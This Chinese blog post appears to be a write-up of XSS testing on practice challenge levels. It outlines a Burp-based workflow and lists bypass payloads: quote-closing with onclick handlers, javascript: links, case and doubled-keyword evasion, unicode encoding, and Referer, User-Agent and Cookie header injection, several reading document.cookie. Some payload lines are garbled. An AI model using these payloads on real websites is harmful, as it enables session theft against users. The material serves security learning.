xss测试步骤总结

文章目录

测试流程

先看bp

再看回显

测试常规xss语句

接着看F12上下文

然后是构造闭合

最后是依次测试绕过方法

成功的时候要能得到一个可以复现的url

1.开启burp

正常输入看响应包和发送包有没有相同点

如果没有进入第二步

2.测试常规xss语句

一般选即可,或,或 οnclick=alert(document.cookie)

只用做轮子测试,如果还不行,进入下一步

3.观察回显

比如上一步中输入,输入框回显异常

4.测试闭合与绕过

Level2

F12观察输入框位置上下文

可以发现语句存在需要闭合的地方,改成"><img src="javascript:alert('XSS')后语句看起来才正常

所以轮子应该类似">{javascript}

Level3

">//

此处使用了htmlspecialchars转义了<>等特殊字符,使得尖括号里的代码不能执行,如果找不到绕过方法,只能执行事件函数,比如onclick,直接结束

&:转换为&

":转换为"

':转换为成为 '

<:转换为<

:转换为>

由上可以看出单引号没有转义,可以用它来做闭合

Level4

同上

Level5

发现过滤了on,会在on之间插入_,ri也被过滤

因此只能找不带on和

Level6

这关链接也被过滤,但是可以通过大小写绕过

" oNclick=alert(document.cookie) "

总结:xss不要直接修改页面代码,要在输入框中构造,进而产生url链接

Level7

多写绕过

" oonnclick=alert(document.cookie) "

以此步骤测试,先看bp,再看回显,接着看F12,然后是看闭合,最后是依次测试绕过方法

5.xss绕过方法

1)测试需观察点

浏览器左下角查看器,查找注入点所在代码

burp响应包referer/UA/cookie三处位置看是否在提交包中有对应信息

xss不要直接修改页面代码,要在输入框中构造,进而产生url链接

2)无过滤法

3)">闭合

">

4)单引号闭合+事件函数

' οnclick=' alert("123");

5)双引号闭合+事件函数

" οnclick=alert('123');"

6)引号闭合+链接

"><a href=javascript:alert('xss')>xss

7)大小写绕过

"><a hRef=javascript:alert('xss')>xss

8)多写绕过

" oonnclick=alert('123');"

9)unicode编码

javascript:alert('xss')

javascrIpt:alert('xss')

10)unicode编码+//注释

javascript:alert('xss')//http://www.baidu.com

javascript:alert('xss')//http://

11)隐藏标签赋值

t_sort=123" type="" οnclick="alert('xss')

12)referer注入

" type="" οnclick="alert(document.cookie)

13)UA头注入

" type="" οnclick="alert(document.cookie)

14)Cookie注入

" οnclick="alert('xss') type="

15)`替换()

16)实体编码绕过

https://www.qqxiuzi.cn/bianma/zifushiti.php

17)--!>注释绕过

注释方式有两种:

相关推荐
晓得迷路了8 分钟前
栗子前端技术周刊第 89 期 - TypeScript 5.9 Beta、VSCode v1.102、Angular 20.1...
前端·javascript·typescript
Kagol13 分钟前
2025年中总结:我想我克服公众演讲的恐惧了,一个社恐分子突破自我的故事
前端·开源
江城开朗的豌豆18 分钟前
多个组件库混用导致JS爆炸?看我如何瘦身70%!
前端·javascript·vue.js
江城开朗的豌豆22 分钟前
Vue懒加载全揭秘:从2.x到3.0,我是这样优化首屏速度的!
前端·javascript·vue.js
江城开朗的豌豆23 分钟前
不用Vue,手搓一个数据双向绑定?教你用原生JS造轮子!
前端·javascript·vue.js
linksinke25 分钟前
html案例:编写一个用于发布CSDN文章时,生成有关缩略图
前端·javascript·html
江城开朗的豌豆26 分钟前
Vue的响应式魔法:从惊艳到看透,6年老司机带你揭秘
前端·javascript·vue.js
江城开朗的豌豆34 分钟前
include和exclude傻傻分不清?3分钟让你彻底搞懂!
前端·javascript·vue.js
weixin_4723394643 分钟前
Web应用性能优化之数据库查询实战指南
前端·性能优化
问道飞鱼1 小时前
【前端知识】移动端APP原生应用与H5交互底层逻辑
前端·交互·webview·jsbridge